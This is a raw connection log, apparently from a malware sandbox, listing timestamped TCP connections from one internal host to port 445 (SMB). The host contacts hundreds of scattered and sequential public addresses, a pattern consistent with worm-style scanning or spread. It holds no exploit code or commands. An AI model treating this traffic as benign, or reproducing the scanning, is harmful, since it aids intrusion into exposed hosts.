Jul 20, 2022 15:47:23.320928097 CEST	445	61529	107.186.141.52	192.168.2.7
Jul 20, 2022 15:47:23.374896049 CEST	445	61584	188.18.139.111	192.168.2.7
Jul 20, 2022 15:47:23.375020027 CEST	61584	445	192.168.2.7	188.18.139.111
Jul 20, 2022 15:47:23.375057936 CEST	61584	445	192.168.2.7	188.18.139.111
Jul 20, 2022 15:47:23.460335970 CEST	445	61584	188.18.139.111	192.168.2.7
Jul 20, 2022 15:47:23.467983007 CEST	445	61584	188.18.139.111	192.168.2.7
Jul 20, 2022 15:47:23.519620895 CEST	61584	445	192.168.2.7	188.18.139.111
Jul 20, 2022 15:47:23.519967079 CEST	61584	445	192.168.2.7	188.18.139.111
Jul 20, 2022 15:47:23.607898951 CEST	445	61584	188.18.139.111	192.168.2.7
Jul 20, 2022 15:47:23.660299063 CEST	61584	445	192.168.2.7	188.18.139.111
Jul 20, 2022 15:47:23.710105896 CEST	61584	445	192.168.2.7	188.18.139.111
Jul 20, 2022 15:47:23.710573912 CEST	61590	445	192.168.2.7	55.38.30.46
Jul 20, 2022 15:47:23.710793972 CEST	61593	445	192.168.2.7	203.75.243.168
Jul 20, 2022 15:47:23.710923910 CEST	61594	445	192.168.2.7	137.77.153.101
Jul 20, 2022 15:47:23.710989952 CEST	61595	445	192.168.2.7	194.48.26.103
Jul 20, 2022 15:47:23.711580992 CEST	61601	445	192.168.2.7	165.167.65.191
Jul 20, 2022 15:47:23.711962938 CEST	61605	445	192.168.2.7	198.153.11.73
Jul 20, 2022 15:47:23.712143898 CEST	61606	445	192.168.2.7	178.238.252.193
Jul 20, 2022 15:47:23.713234901 CEST	61621	445	192.168.2.7	142.142.175.166
Jul 20, 2022 15:47:23.713500023 CEST	61624	445	192.168.2.7	149.130.100.55
Jul 20, 2022 15:47:23.713525057 CEST	61626	445	192.168.2.7	104.129.141.157
Jul 20, 2022 15:47:23.713591099 CEST	61627	445	192.168.2.7	115.178.196.46
Jul 20, 2022 15:47:23.713653088 CEST	61628	445	192.168.2.7	79.29.146.76
Jul 20, 2022 15:47:23.799510956 CEST	445	61584	188.18.139.111	192.168.2.7
Jul 20, 2022 15:47:23.799668074 CEST	61584	445	192.168.2.7	188.18.139.111
Jul 20, 2022 15:47:23.818742037 CEST	61634	445	192.168.2.7	115.232.111.172
Jul 20, 2022 15:47:23.887049913 CEST	445	61584	188.18.139.111	192.168.2.7
Jul 20, 2022 15:47:23.887201071 CEST	61584	445	192.168.2.7	188.18.139.111
Jul 20, 2022 15:47:23.942404032 CEST	61646	445	192.168.2.7	188.18.139.112
Jul 20, 2022 15:47:23.974550962 CEST	445	61584	188.18.139.111	192.168.2.7
Jul 20, 2022 15:47:23.974852085 CEST	61584	445	192.168.2.7	188.18.139.111
Jul 20, 2022 15:47:24.005417109 CEST	61649	445	192.168.2.7	58.152.82.34
Jul 20, 2022 15:47:24.005563021 CEST	61647	445	192.168.2.7	21.170.149.242
Jul 20, 2022 15:47:24.005601883 CEST	61650	445	192.168.2.7	208.190.33.19
Jul 20, 2022 15:47:24.035749912 CEST	61652	445	192.168.2.7	176.73.227.38
Jul 20, 2022 15:47:24.161652088 CEST	61664	445	192.168.2.7	163.195.15.12
Jul 20, 2022 15:47:24.239677906 CEST	61668	445	192.168.2.7	166.146.220.165
Jul 20, 2022 15:47:24.239949942 CEST	61669	445	192.168.2.7	31.29.109.32
Jul 20, 2022 15:47:24.240365028 CEST	61672	445	192.168.2.7	114.72.203.63
Jul 20, 2022 15:47:24.240755081 CEST	61677	445	192.168.2.7	144.99.105.61
Jul 20, 2022 15:47:24.241575956 CEST	61686	445	192.168.2.7	34.48.123.94
Jul 20, 2022 15:47:24.241686106 CEST	61687	445	192.168.2.7	45.122.53.131
Jul 20, 2022 15:47:24.242073059 CEST	61691	445	192.168.2.7	185.187.82.13
Jul 20, 2022 15:47:24.242372036 CEST	61694	445	192.168.2.7	190.173.43.78
Jul 20, 2022 15:47:24.242580891 CEST	61696	445	192.168.2.7	180.6.3.155
Jul 20, 2022 15:47:24.242666006 CEST	61697	445	192.168.2.7	186.246.200.254
Jul 20, 2022 15:47:25.053121090 CEST	61702	445	192.168.2.7	188.18.139.113
Jul 20, 2022 15:47:25.099775076 CEST	61713	445	192.168.2.7	108.106.24.161
Jul 20, 2022 15:47:25.100157976 CEST	61716	445	192.168.2.7	165.98.175.33
Jul 20, 2022 15:47:25.100290060 CEST	61717	445	192.168.2.7	214.215.50.225
Jul 20, 2022 15:47:25.100424051 CEST	61718	445	192.168.2.7	4.192.107.102
Jul 20, 2022 15:47:25.101383924 CEST	61728	445	192.168.2.7	84.61.132.221
Jul 20, 2022 15:47:25.101406097 CEST	61725	445	192.168.2.7	47.247.216.150
Jul 20, 2022 15:47:25.101500988 CEST	61729	445	192.168.2.7	22.110.223.68
Jul 20, 2022 15:47:25.102837086 CEST	61744	445	192.168.2.7	206.137.165.111
Jul 20, 2022 15:47:25.103244066 CEST	61748	445	192.168.2.7	42.59.171.19
Jul 20, 2022 15:47:25.103362083 CEST	61749	445	192.168.2.7	71.200.127.192
Jul 20, 2022 15:47:25.103600025 CEST	61750	445	192.168.2.7	79.168.67.213
Jul 20, 2022 15:47:25.103626013 CEST	61751	445	192.168.2.7	5.14.70.49
Jul 20, 2022 15:47:25.104518890 CEST	61758	445	192.168.2.7	119.191.46.147
Jul 20, 2022 15:47:25.129532099 CEST	61762	445	192.168.2.7	183.83.131.104
Jul 20, 2022 15:47:25.129744053 CEST	61764	445	192.168.2.7	61.209.222.206
Jul 20, 2022 15:47:25.129832983 CEST	61765	445	192.168.2.7	29.19.229.59
Jul 20, 2022 15:47:25.160794973 CEST	61767	445	192.168.2.7	44.171.121.17
Jul 20, 2022 15:47:25.286700010 CEST	61779	445	192.168.2.7	108.81.68.51
Jul 20, 2022 15:47:25.364820957 CEST	61783	445	192.168.2.7	2.180.114.77
Jul 20, 2022 15:47:25.364932060 CEST	61784	445	192.168.2.7	183.173.17.239
Jul 20, 2022 15:47:25.365242004 CEST	61787	445	192.168.2.7	55.141.49.114
Jul 20, 2022 15:47:25.365698099 CEST	61792	445	192.168.2.7	93.144.3.238
Jul 20, 2022 15:47:25.366537094 CEST	61801	445	192.168.2.7	175.175.195.227
Jul 20, 2022 15:47:25.366662979 CEST	61802	445	192.168.2.7	128.45.85.106
Jul 20, 2022 15:47:25.367021084 CEST	61806	445	192.168.2.7	107.77.137.7
Jul 20, 2022 15:47:25.367320061 CEST	61809	445	192.168.2.7	108.79.30.197
Jul 20, 2022 15:47:25.367508888 CEST	61811	445	192.168.2.7	143.150.110.126
Jul 20, 2022 15:47:25.367629051 CEST	61812	445	192.168.2.7	142.83.95.146
Jul 20, 2022 15:47:27.164457083 CEST	61818	445	192.168.2.7	107.186.141.52
Jul 20, 2022 15:47:27.224268913 CEST	61819	445	192.168.2.7	188.18.139.114
Jul 20, 2022 15:47:27.225313902 CEST	61820	445	192.168.2.7	149.20.139.5
Jul 20, 2022 15:47:27.271442890 CEST	61835	445	192.168.2.7	75.11.150.82
Jul 20, 2022 15:47:27.271539927 CEST	61831	445	192.168.2.7	51.252.123.61
Jul 20, 2022 15:47:27.271579981 CEST	61836	445	192.168.2.7	132.160.29.65
Jul 20, 2022 15:47:27.272043943 CEST	61843	445	192.168.2.7	1.62.67.247
Jul 20, 2022 15:47:27.272319078 CEST	61846	445	192.168.2.7	46.121.16.193
Jul 20, 2022 15:47:27.272393942 CEST	61847	445	192.168.2.7	32.181.23.50
Jul 20, 2022 15:47:27.272514105 CEST	61834	445	192.168.2.7	178.165.217.7
Jul 20, 2022 15:47:27.273461103 CEST	61862	445	192.168.2.7	62.193.192.81
Jul 20, 2022 15:47:27.273813963 CEST	61866	445	192.168.2.7	138.198.191.183
Jul 20, 2022 15:47:27.273919106 CEST	61867	445	192.168.2.7	146.72.94.215
Jul 20, 2022 15:47:27.274014950 CEST	61868	445	192.168.2.7	11.86.21.20
Jul 20, 2022 15:47:27.274112940 CEST	61869	445	192.168.2.7	10.105.104.143
Jul 20, 2022 15:47:27.274631023 CEST	61876	445	192.168.2.7	205.156.168.137
Jul 20, 2022 15:47:27.275403976 CEST	61886	445	192.168.2.7	206.105.145.179
Jul 20, 2022 15:47:27.275650978 CEST	61889	445	192.168.2.7	40.215.21.188
Jul 20, 2022 15:47:27.276031017 CEST	61894	445	192.168.2.7	152.222.88.83
Jul 20, 2022 15:47:27.276554108 CEST	61885	445	192.168.2.7	50.106.102.239
Jul 20, 2022 15:47:27.276700974 CEST	61903	445	192.168.2.7	196.113.180.238
Jul 20, 2022 15:47:27.276793957 CEST	61904	445	192.168.2.7	24.99.56.118
Jul 20, 2022 15:47:27.285423040 CEST	61913	445	192.168.2.7	90.191.180.107
Jul 20, 2022 15:47:27.286243916 CEST	61908	445	192.168.2.7	129.208.211.230
Jul 20, 2022 15:47:27.286360979 CEST	61914	445	192.168.2.7	50.65.197.110
Jul 20, 2022 15:47:27.286381006 CEST	61911	445	192.168.2.7	164.206.104.197
Jul 20, 2022 15:47:27.286463976 CEST	61922	445	192.168.2.7	215.156.185.53
Jul 20, 2022 15:47:27.286889076 CEST	61927	445	192.168.2.7	115.223.116.242
Jul 20, 2022 15:47:27.287015915 CEST	61929	445	192.168.2.7	53.120.144.216
Jul 20, 2022 15:47:27.287074089 CEST	61930	445	192.168.2.7	101.163.241.233
Jul 20, 2022 15:47:27.287197113 CEST	61932	445	192.168.2.7	143.50.45.82
Jul 20, 2022 15:47:27.333810091 CEST	445	61818	107.186.141.52	192.168.2.7
Jul 20, 2022 15:47:27.333965063 CEST	61818	445	192.168.2.7	107.186.141.52
Jul 20, 2022 15:47:27.338192940 CEST	61818	445	192.168.2.7	107.186.141.52
Jul 20, 2022 15:47:27.389791965 CEST	445	61820	149.20.139.5	192.168.2.7
Jul 20, 2022 15:47:27.389925003 CEST	61820	445	192.168.2.7	149.20.139.5
Jul 20, 2022 15:47:27.407808065 CEST	61934	445	192.168.2.7	149.20.139.5
Jul 20, 2022 15:47:27.506285906 CEST	445	61818	107.186.141.52	192.168.2.7
Jul 20, 2022 15:47:27.506424904 CEST	61818	445	192.168.2.7	107.186.141.52
Jul 20, 2022 15:47:27.554420948 CEST	445	61820	149.20.139.5	192.168.2.7
Jul 20, 2022 15:47:27.675194025 CEST	445	61818	107.186.141.52	192.168.2.7
Jul 20, 2022 15:47:27.675354004 CEST	61818	445	192.168.2.7	107.186.141.52
Jul 20, 2022 15:47:27.843280077 CEST	445	61818	107.186.141.52	192.168.2.7
Jul 20, 2022 15:47:27.919207096 CEST	61936	445	192.168.2.7	107.186.141.53
Jul 20, 2022 15:47:28.093067884 CEST	445	61936	107.186.141.53	192.168.2.7
Jul 20, 2022 15:47:28.093188047 CEST	61936	445	192.168.2.7	107.186.141.53
Jul 20, 2022 15:47:28.093255043 CEST	61936	445	192.168.2.7	107.186.141.53
Jul 20, 2022 15:47:28.093693018 CEST	61937	445	192.168.2.7	107.186.141.53
Jul 20, 2022 15:47:28.266855955 CEST	445	61937	107.186.141.53	192.168.2.7
Jul 20, 2022 15:47:28.266895056 CEST	445	61936	107.186.141.53	192.168.2.7
Jul 20, 2022 15:47:28.266918898 CEST	445	61936	107.186.141.53	192.168.2.7
Jul 20, 2022 15:47:28.267011881 CEST	61937	445	192.168.2.7	107.186.141.53
Jul 20, 2022 15:47:28.267122984 CEST	61937	445	192.168.2.7	107.186.141.53
Jul 20, 2022 15:47:28.302330017 CEST	61940	445	192.168.2.7	188.18.139.115
Jul 20, 2022 15:47:28.382972956 CEST	445	61940	188.18.139.115	192.168.2.7
Jul 20, 2022 15:47:28.383116007 CEST	61940	445	192.168.2.7	188.18.139.115
Jul 20, 2022 15:47:28.383167982 CEST	61940	445	192.168.2.7	188.18.139.115
Jul 20, 2022 15:47:28.383613110 CEST	61941	445	192.168.2.7	188.18.139.115
Jul 20, 2022 15:47:28.396358967 CEST	61948	445	192.168.2.7	65.172.173.113
Jul 20, 2022 15:47:28.396377087 CEST	61949	445	192.168.2.7	44.101.26.184
Jul 20, 2022 15:47:28.396753073 CEST	61953	445	192.168.2.7	27.36.177.207
Jul 20, 2022 15:47:28.397099018 CEST	61959	445	192.168.2.7	53.196.82.253
Jul 20, 2022 15:47:28.397147894 CEST	61958	445	192.168.2.7	194.182.187.103
Jul 20, 2022 15:47:28.397264004 CEST	61960	445	192.168.2.7	202.204.15.33
Jul 20, 2022 15:47:28.397535086 CEST	61964	445	192.168.2.7	176.45.108.235
Jul 20, 2022 15:47:28.398309946 CEST	61976	445	192.168.2.7	132.246.249.95
Jul 20, 2022 15:47:28.398456097 CEST	61978	445	192.168.2.7	66.217.5.188
Jul 20, 2022 15:47:28.398588896 CEST	61979	445	192.168.2.7	93.75.104.54
Jul 20, 2022 15:47:28.399122953 CEST	61986	445	192.168.2.7	184.86.31.53
Jul 20, 2022 15:47:28.399869919 CEST	61995	445	192.168.2.7	187.7.103.186
Jul 20, 2022 15:47:28.399960995 CEST	61996	445	192.168.2.7	154.149.215.4
Jul 20, 2022 15:47:28.400276899 CEST	62000	445	192.168.2.7	195.76.230.41
Jul 20, 2022 15:47:28.400542021 CEST	62003	445	192.168.2.7	159.73.49.79
Jul 20, 2022 15:47:28.400684118 CEST	62005	445	192.168.2.7	200.153.186.204
Jul 20, 2022 15:47:28.401242971 CEST	62012	445	192.168.2.7	96.110.49.13
Jul 20, 2022 15:47:28.401535988 CEST	62016	445	192.168.2.7	132.31.49.141
Jul 20, 2022 15:47:28.401694059 CEST	62018	445	192.168.2.7	141.125.185.84
Jul 20, 2022 15:47:28.401974916 CEST	62017	445	192.168.2.7	148.229.107.49
Jul 20, 2022 15:47:28.401983023 CEST	62021	445	192.168.2.7	108.244.137.141
Jul 20, 2022 15:47:28.402194023 CEST	62024	445	192.168.2.7	149.88.151.17
Jul 20, 2022 15:47:28.411005020 CEST	62036	445	192.168.2.7	79.80.221.123
Jul 20, 2022 15:47:28.411372900 CEST	62041	445	192.168.2.7	4.93.192.230
Jul 20, 2022 15:47:28.411513090 CEST	62043	445	192.168.2.7	98.27.205.115
Jul 20, 2022 15:47:28.411611080 CEST	62044	445	192.168.2.7	3.155.121.252
Jul 20, 2022 15:47:28.411828041 CEST	62047	445	192.168.2.7	55.107.192.170
Jul 20, 2022 15:47:28.411979914 CEST	62048	445	192.168.2.7	192.178.244.51
Jul 20, 2022 15:47:28.436526060 CEST	445	61937	107.186.141.53	192.168.2.7
Jul 20, 2022 15:47:28.436687946 CEST	61937	445	192.168.2.7	107.186.141.53
Jul 20, 2022 15:47:28.467112064 CEST	445	61940	188.18.139.115	192.168.2.7
Jul 20, 2022 15:47:28.468348026 CEST	445	61941	188.18.139.115	192.168.2.7
Jul 20, 2022 15:47:28.468483925 CEST	61941	445	192.168.2.7	188.18.139.115
Jul 20, 2022 15:47:28.468573093 CEST	61941	445	192.168.2.7	188.18.139.115
Jul 20, 2022 15:47:28.474987984 CEST	445	61940	188.18.139.115	192.168.2.7
Jul 20, 2022 15:47:28.475110054 CEST	61940	445	192.168.2.7	188.18.139.115
Jul 20, 2022 15:47:28.552666903 CEST	445	61941	188.18.139.115	192.168.2.7
Jul 20, 2022 15:47:28.560544968 CEST	445	61941	188.18.139.115	192.168.2.7
Jul 20, 2022 15:47:28.560874939 CEST	61941	445	192.168.2.7	188.18.139.115
Jul 20, 2022 15:47:28.606498957 CEST	445	61937	107.186.141.53	192.168.2.7
Jul 20, 2022 15:47:28.606648922 CEST	61937	445	192.168.2.7	107.186.141.53
Jul 20, 2022 15:47:28.648469925 CEST	445	61941	188.18.139.115	192.168.2.7
Jul 20, 2022 15:47:28.648767948 CEST	61941	445	192.168.2.7	188.18.139.115
Jul 20, 2022 15:47:28.732455969 CEST	445	61941	188.18.139.115	192.168.2.7
Jul 20, 2022 15:47:28.732825041 CEST	61941	445	192.168.2.7	188.18.139.115
Jul 20, 2022 15:47:28.776860952 CEST	445	61937	107.186.141.53	192.168.2.7
Jul 20, 2022 15:47:28.816432953 CEST	445	61941	188.18.139.115	192.168.2.7
Jul 20, 2022 15:47:28.816663027 CEST	61941	445	192.168.2.7	188.18.139.115
Jul 20, 2022 15:47:28.901509047 CEST	445	61941	188.18.139.115	192.168.2.7
Jul 20, 2022 15:47:28.901642084 CEST	61941	445	192.168.2.7	188.18.139.115
Jul 20, 2022 15:47:29.505678892 CEST	62061	445	192.168.2.7	112.116.95.143
Jul 20, 2022 15:47:29.505856037 CEST	62064	445	192.168.2.7	181.227.151.35
Jul 20, 2022 15:47:29.505887032 CEST	62065	445	192.168.2.7	67.53.216.168
Jul 20, 2022 15:47:29.506377935 CEST	62072	445	192.168.2.7	14.18.254.121
Jul 20, 2022 15:47:29.507081985 CEST	62081	445	192.168.2.7	120.71.222.183
Jul 20, 2022 15:47:29.507121086 CEST	62082	445	192.168.2.7	206.187.49.229
Jul 20, 2022 15:47:29.507136106 CEST	62085	445	192.168.2.7	181.4.96.62
Jul 20, 2022 15:47:29.507436991 CEST	62090	445	192.168.2.7	160.109.227.146
Jul 20, 2022 15:47:29.507808924 CEST	62091	445	192.168.2.7	61.103.175.250
Jul 20, 2022 15:47:29.508055925 CEST	62097	445	192.168.2.7	26.179.160.55
Jul 20, 2022 15:47:29.508172989 CEST	62102	445	192.168.2.7	103.239.188.3
Jul 20, 2022 15:47:29.508213043 CEST	62103	445	192.168.2.7	45.98.219.120
Jul 20, 2022 15:47:29.508327961 CEST	62104	445	192.168.2.7	183.97.38.105
Jul 20, 2022 15:47:29.508497000 CEST	62107	445	192.168.2.7	16.130.152.1
Jul 20, 2022 15:47:29.508721113 CEST	62109	445	192.168.2.7	79.77.203.75
Jul 20, 2022 15:47:29.509505033 CEST	62125	445	192.168.2.7	113.74.177.4
Jul 20, 2022 15:47:29.509813070 CEST	62130	445	192.168.2.7	136.35.159.188
Jul 20, 2022 15:47:29.510231018 CEST	62136	445	192.168.2.7	211.187.131.48
Jul 20, 2022 15:47:29.510490894 CEST	62140	445	192.168.2.7	197.219.169.211
Jul 20, 2022 15:47:29.511238098 CEST	62126	445	192.168.2.7	134.61.120.54
Jul 20, 2022 15:47:29.511249065 CEST	62134	445	192.168.2.7	62.77.240.211
Jul 20, 2022 15:47:29.511277914 CEST	62137	445	192.168.2.7	172.135.207.198
Jul 20, 2022 15:47:29.520766020 CEST	62153	445	192.168.2.7	187.139.189.197
Jul 20, 2022 15:47:29.520986080 CEST	62157	445	192.168.2.7	74.62.124.106
Jul 20, 2022 15:47:29.521207094 CEST	62160	445	192.168.2.7	11.102.160.199
Jul 20, 2022 15:47:29.521272898 CEST	62159	445	192.168.2.7	81.148.3.247
Jul 20, 2022 15:47:29.521614075 CEST	62164	445	192.168.2.7	161.246.27.214
Jul 20, 2022 15:47:29.522288084 CEST	62162	445	192.168.2.7	65.203.61.111
Jul 20, 2022 15:47:29.724950075 CEST	445	62157	74.62.124.106	192.168.2.7
Jul 20, 2022 15:47:29.754406929 CEST	445	62082	206.187.49.229	192.168.2.7
Jul 20, 2022 15:47:29.777853966 CEST	445	62085	181.4.96.62	192.168.2.7
Jul 20, 2022 15:47:30.239000082 CEST	62157	445	192.168.2.7	74.62.124.106
Jul 20, 2022 15:47:30.255220890 CEST	62082	445	192.168.2.7	206.187.49.229
Jul 20, 2022 15:47:30.285887957 CEST	62085	445	192.168.2.7	181.4.96.62
Jul 20, 2022 15:47:30.395293951 CEST	61934	445	192.168.2.7	149.20.139.5
Jul 20, 2022 15:47:30.438395977 CEST	445	62157	74.62.124.106	192.168.2.7
Jul 20, 2022 15:47:30.497824907 CEST	445	62082	206.187.49.229	192.168.2.7
Jul 20, 2022 15:47:30.551934958 CEST	445	62085	181.4.96.62	192.168.2.7
Jul 20, 2022 15:47:30.631364107 CEST	62188	445	192.168.2.7	146.152.58.142
Jul 20, 2022 15:47:30.631556034 CEST	62191	445	192.168.2.7	147.149.245.128
Jul 20, 2022 15:47:30.631766081 CEST	62195	445	192.168.2.7	57.184.142.254
Jul 20, 2022 15:47:30.631844044 CEST	62196	445	192.168.2.7	142.205.95.24
Jul 20, 2022 15:47:30.631901979 CEST	62197	445	192.168.2.7	44.45.121.156
Jul 20, 2022 15:47:30.632153034 CEST	62201	445	192.168.2.7	160.208.98.35
Jul 20, 2022 15:47:30.632519960 CEST	62207	445	192.168.2.7	160.201.104.230
Jul 20, 2022 15:47:30.632663965 CEST	62209	445	192.168.2.7	156.51.117.244
Jul 20, 2022 15:47:30.632807016 CEST	62212	445	192.168.2.7	27.182.39.93
Jul 20, 2022 15:47:30.633088112 CEST	62217	445	192.168.2.7	80.23.137.220
Jul 20, 2022 15:47:30.633117914 CEST	62216	445	192.168.2.7	144.6.22.37
Jul 20, 2022 15:47:30.633654118 CEST	62224	445	192.168.2.7	27.25.236.26
Jul 20, 2022 15:47:30.634063005 CEST	62232	445	192.168.2.7	210.133.63.137
Jul 20, 2022 15:47:30.634126902 CEST	62233	445	192.168.2.7	68.160.76.70
Jul 20, 2022 15:47:30.634269953 CEST	62235	445	192.168.2.7	130.40.125.65
Jul 20, 2022 15:47:30.634505987 CEST	62240	445	192.168.2.7	55.161.231.31
Jul 20, 2022 15:47:30.634798050 CEST	62243	445	192.168.2.7	214.36.36.146
Jul 20, 2022 15:47:30.634933949 CEST	62246	445	192.168.2.7	213.254.153.50
Jul 20, 2022 15:47:30.635179043 CEST	62250	445	192.168.2.7	108.86.150.66
Jul 20, 2022 15:47:30.635293961 CEST	62252	445	192.168.2.7	29.56.91.27
Jul 20, 2022 15:47:30.635549068 CEST	62256	445	192.168.2.7	99.228.158.3
Jul 20, 2022 15:47:30.635663033 CEST	62258	445	192.168.2.7	121.97.8.189
Jul 20, 2022 15:47:30.646028996 CEST	62274	445	192.168.2.7	152.195.162.201
Jul 20, 2022 15:47:30.646074057 CEST	62275	445	192.168.2.7	146.41.92.27
Jul 20, 2022 15:47:30.646234035 CEST	62278	445	192.168.2.7	152.93.69.219
Jul 20, 2022 15:47:30.646331072 CEST	62279	445	192.168.2.7	188.183.21.244
Jul 20, 2022 15:47:30.646409988 CEST	62280	445	192.168.2.7	126.164.140.46
Jul 20, 2022 15:47:30.646512032 CEST	62282	445	192.168.2.7	33.1.75.158
Jul 20, 2022 15:47:31.755500078 CEST	62294	445	192.168.2.7	200.9.114.236
Jul 20, 2022 15:47:31.756175041 CEST	62298	445	192.168.2.7	53.20.64.164
Jul 20, 2022 15:47:31.756412029 CEST	62302	445	192.168.2.7	222.18.0.91
Jul 20, 2022 15:47:31.756666899 CEST	62305	445	192.168.2.7	149.244.176.198
Jul 20, 2022 15:47:31.757581949 CEST	62318	445	192.168.2.7	116.195.246.226
Jul 20, 2022 15:47:31.757766962 CEST	62321	445	192.168.2.7	178.52.167.190
Jul 20, 2022 15:47:31.757961988 CEST	62323	445	192.168.2.7	209.101.26.209
Jul 20, 2022 15:47:31.758208036 CEST	62327	445	192.168.2.7	117.47.207.226
Jul 20, 2022 15:47:31.758493900 CEST	62332	445	192.168.2.7	159.212.131.170
Jul 20, 2022 15:47:31.758685112 CEST	62334	445	192.168.2.7	58.136.162.99
Jul 20, 2022 15:47:31.758975983 CEST	62339	445	192.168.2.7	158.166.219.239
Jul 20, 2022 15:47:31.759113073 CEST	62301	445	192.168.2.7	1.0.234.72
Jul 20, 2022 15:47:31.759139061 CEST	62313	445	192.168.2.7	172.233.109.217
Jul 20, 2022 15:47:31.759144068 CEST	62340	445	192.168.2.7	37.131.248.106
Jul 20, 2022 15:47:31.759296894 CEST	62343	445	192.168.2.7	213.46.30.38
Jul 20, 2022 15:47:31.759485006 CEST	62346	445	192.168.2.7	213.45.69.199
Jul 20, 2022 15:47:31.760584116 CEST	62368	445	192.168.2.7	192.81.42.2
Jul 20, 2022 15:47:31.760771990 CEST	62371	445	192.168.2.7	222.86.122.10
Jul 20, 2022 15:47:31.761004925 CEST	62375	445	192.168.2.7	110.67.249.100
Jul 20, 2022 15:47:31.761039019 CEST	62376	445	192.168.2.7	200.237.20.181
Jul 20, 2022 15:47:31.761276007 CEST	62377	445	192.168.2.7	182.218.171.97
Jul 20, 2022 15:47:31.761290073 CEST	62379	445	192.168.2.7	110.104.74.132
Jul 20, 2022 15:47:31.770917892 CEST	62388	445	192.168.2.7	157.35.247.36
Jul 20, 2022 15:47:31.771179914 CEST	62393	445	192.168.2.7	26.91.230.206
Jul 20, 2022 15:47:31.771368027 CEST	62392	445	192.168.2.7	15.175.151.25
Jul 20, 2022 15:47:31.771522045 CEST	62397	445	192.168.2.7	157.38.94.84
Jul 20, 2022 15:47:31.771541119 CEST	62394	445	192.168.2.7	188.178.68.128
Jul 20, 2022 15:47:31.771572113 CEST	62398	445	192.168.2.7	77.123.158.224
Jul 20, 2022 15:47:31.786516905 CEST	62405	445	192.168.2.7	107.186.141.53
Jul 20, 2022 15:47:31.817465067 CEST	62406	445	192.168.2.7	188.18.139.115
Jul 20, 2022 15:47:31.899154902 CEST	445	62406	188.18.139.115	192.168.2.7
Jul 20, 2022 15:47:31.899609089 CEST	62406	445	192.168.2.7	188.18.139.115
Jul 20, 2022 15:47:31.899636984 CEST	62406	445	192.168.2.7	188.18.139.115
Jul 20, 2022 15:47:31.955804110 CEST	445	62405	107.186.141.53	192.168.2.7
Jul 20, 2022 15:47:31.956054926 CEST	62405	445	192.168.2.7	107.186.141.53
Jul 20, 2022 15:47:31.956177950 CEST	62405	445	192.168.2.7	107.186.141.53
Jul 20, 2022 15:47:31.981364012 CEST	445	62406	188.18.139.115	192.168.2.7
Jul 20, 2022 15:47:31.989351988 CEST	445	62406	188.18.139.115	192.168.2.7
Jul 20, 2022 15:47:31.989578962 CEST	62406	445	192.168.2.7	188.18.139.115
Jul 20, 2022 15:47:32.075474024 CEST	445	62406	188.18.139.115	192.168.2.7
Jul 20, 2022 15:47:32.075658083 CEST	62406	445	192.168.2.7	188.18.139.115
Jul 20, 2022 15:47:32.127140999 CEST	445	62405	107.186.141.53	192.168.2.7
Jul 20, 2022 15:47:32.127401114 CEST	62405	445	192.168.2.7	107.186.141.53
Jul 20, 2022 15:47:32.159830093 CEST	445	62406	188.18.139.115	192.168.2.7
Jul 20, 2022 15:47:32.161230087 CEST	62406	445	192.168.2.7	188.18.139.115
Jul 20, 2022 15:47:32.243458033 CEST	445	62406	188.18.139.115	192.168.2.7
Jul 20, 2022 15:47:32.243617058 CEST	62406	445	192.168.2.7	188.18.139.115
Jul 20, 2022 15:47:32.296763897 CEST	445	62405	107.186.141.53	192.168.2.7
Jul 20, 2022 15:47:32.296964884 CEST	62405	445	192.168.2.7	107.186.141.53
Jul 20, 2022 15:47:32.302093983 CEST	62409	445	192.168.2.7	188.18.139.116
Jul 20, 2022 15:47:32.329628944 CEST	445	62406	188.18.139.115	192.168.2.7
Jul 20, 2022 15:47:32.332326889 CEST	62406	445	192.168.2.7	188.18.139.115
Jul 20, 2022 15:47:32.466552019 CEST	445	62405	107.186.141.53	192.168.2.7
Jul 20, 2022 15:47:32.520716906 CEST	62411	445	192.168.2.7	107.186.141.54
Jul 20, 2022 15:47:32.691601992 CEST	445	62411	107.186.141.54	192.168.2.7
Jul 20, 2022 15:47:32.691730976 CEST	62411	445	192.168.2.7	107.186.141.54
Jul 20, 2022 15:47:32.691834927 CEST	62411	445	192.168.2.7	107.186.141.54
Jul 20, 2022 15:47:32.693058968 CEST	62412	445	192.168.2.7	107.186.141.54
Jul 20, 2022 15:47:32.860812902 CEST	445	62411	107.186.141.54	192.168.2.7
Jul 20, 2022 15:47:32.860840082 CEST	445	62411	107.186.141.54	192.168.2.7
Jul 20, 2022 15:47:32.862019062 CEST	445	62412	107.186.141.54	192.168.2.7
Jul 20, 2022 15:47:32.862129927 CEST	62412	445	192.168.2.7	107.186.141.54
Jul 20, 2022 15:47:32.862185955 CEST	62412	445	192.168.2.7	107.186.141.54
Jul 20, 2022 15:47:32.880501986 CEST	62419	445	192.168.2.7	40.59.185.250
Jul 20, 2022 15:47:32.880840063 CEST	62423	445	192.168.2.7	215.227.227.210
Jul 20, 2022 15:47:32.880969048 CEST	62425	445	192.168.2.7	141.205.129.238
Jul 20, 2022 15:47:32.881211996 CEST	62429	445	192.168.2.7	165.22.155.145
Jul 20, 2022 15:47:32.881412029 CEST	62432	445	192.168.2.7	168.183.84.217
Jul 20, 2022 15:47:32.881479025 CEST	62434	445	192.168.2.7	11.202.175.118
Jul 20, 2022 15:47:32.881674051 CEST	62437	445	192.168.2.7	51.155.174.8
Jul 20, 2022 15:47:32.882735014 CEST	62460	445	192.168.2.7	137.63.49.250
Jul 20, 2022 15:47:32.882807016 CEST	62462	445	192.168.2.7	122.102.135.72
Jul 20, 2022 15:47:32.883110046 CEST	62468	445	192.168.2.7	7.155.37.148
Jul 20, 2022 15:47:32.883156061 CEST	62467	445	192.168.2.7	86.153.79.156
Jul 20, 2022 15:47:32.883375883 CEST	62470	445	192.168.2.7	195.120.209.98
Jul 20, 2022 15:47:32.883584976 CEST	62472	445	192.168.2.7	81.27.45.173
Jul 20, 2022 15:47:32.883852959 CEST	62477	445	192.168.2.7	210.163.239.235
Jul 20, 2022 15:47:32.883950949 CEST	62478	445	192.168.2.7	40.73.194.125
Jul 20, 2022 15:47:32.884206057 CEST	62483	445	192.168.2.7	186.82.232.196
Jul 20, 2022 15:47:32.884768009 CEST	62495	445	192.168.2.7	86.85.166.166
Jul 20, 2022 15:47:32.884795904 CEST	62496	445	192.168.2.7	81.18.2.116
Jul 20, 2022 15:47:32.884923935 CEST	62497	445	192.168.2.7	203.121.189.21
Jul 20, 2022 15:47:32.885101080 CEST	62501	445	192.168.2.7	97.238.133.247
Jul 20, 2022 15:47:32.885299921 CEST	62505	445	192.168.2.7	212.84.252.93
